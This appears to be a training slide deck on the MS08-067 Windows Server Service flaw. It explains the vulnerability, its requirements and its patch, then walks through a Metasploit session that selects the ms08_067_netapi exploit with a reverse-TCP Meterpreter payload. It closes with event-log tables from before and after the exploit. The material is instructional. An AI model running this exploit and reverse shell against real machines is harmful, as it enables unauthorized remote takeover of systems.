



The MS08-067 Vulnerability

(...aka, everyone's first hack)

<http://www.JasonDion.com>

Attacker's Methodology



MS08-067, what's that?

- MS Server Service Relative Path Stack Corruption
- Vulnerability that allows for remote exploitation of a Windows 2000, XP, or 2003 system



Requirements for MS08-067

- Vulnerable Service
 - Server Service, Port 445
- Requires Windows Firewall disabled or File/Print Sharing enabled



Is it still vulnerable?

- Microsoft released a patch in October 2008
- Windows XP SP3 was released May 2008
- Hotfix KB958644



Metasploit: ms08_067_netapi

- Module exploits a parsing flaw in canonicalization code path of NetAPI32.dll through Server Service
- If a process reaches a state where the next instruction to execute is in the stack, then exception is raised
- If it is not handled, the process will be terminated

Metasploit: Setup

```
msf > search netapi

Matching Modules
=====

Name                               Disclosure Date      Rank  Description
-----
auxiliary/scanner/smb/ms08_067_check 2008-11-11 00:00:00 UTC normal MS08-067 Scanner
exploit/windows/smb/ms03_049_netapi   2003-11-11 00:00:00 UTC good  Microsoft Workstation Service NetAddAlternateComputerName Overflow
exploit/windows/smb/ms06_040_netapi   2006-08-08 00:00:00 UTC good  Microsoft Server Service NetpwPathCanonicalize Overflow
exploit/windows/smb/ms06_070_wkssvc   2006-11-14 00:00:00 UTC manual Microsoft Workstation Service NetpManageIPCCConnect Overflow
exploit/windows/smb/ms08_067_netapi   2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
-----
Name      Current Setting  Required  Description
-----
RHOST     RHOST            yes       The target address
RPORT     445              yes       Set the SMB service port
SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):
-----
Name      Current Setting  Required  Description
-----
EXITFUNC  thread          yes       Exit technique: seh, thread, process, none
LHOST     LHOST           yes       The listen address
LPORT     4444            yes       The listen port

Exploit target:
-----
Id  Name
--  ---
0   Automatic Targeting
```

SETUP

← **Exploit**

← **Payload**

KALI LINUX

The quieter you become, the more you are able to hear.

Metasploit: ms08_067_netapi

FileSize	LogfileName	Name	NumberOfRecords
524288	Application	C:\WINDOWS\system32\config\AppEvent.Evt	979
524288	Security	C:\WINDOWS\system32\config\SecEvent.Evt	1752
524288	System	C:\WINDOWS\system32\config\SysEvent.Evt	2518

Before Using Exploit

FileSize	LogfileName	Name	NumberOfRecords
524288	Application	C:\WINDOWS\system32\config\AppEvent.Evt	979
524288	Security	C:\WINDOWS\system32\config\SecEvent.Evt	1752
524288	System	C:\WINDOWS\system32\config\SysEvent.Evt	2518

After Using Exploit

Attacker's Methodology





The MS08-067 Vulnerability

(...aka, everyone's first hack)

<http://www.JasonDion.com>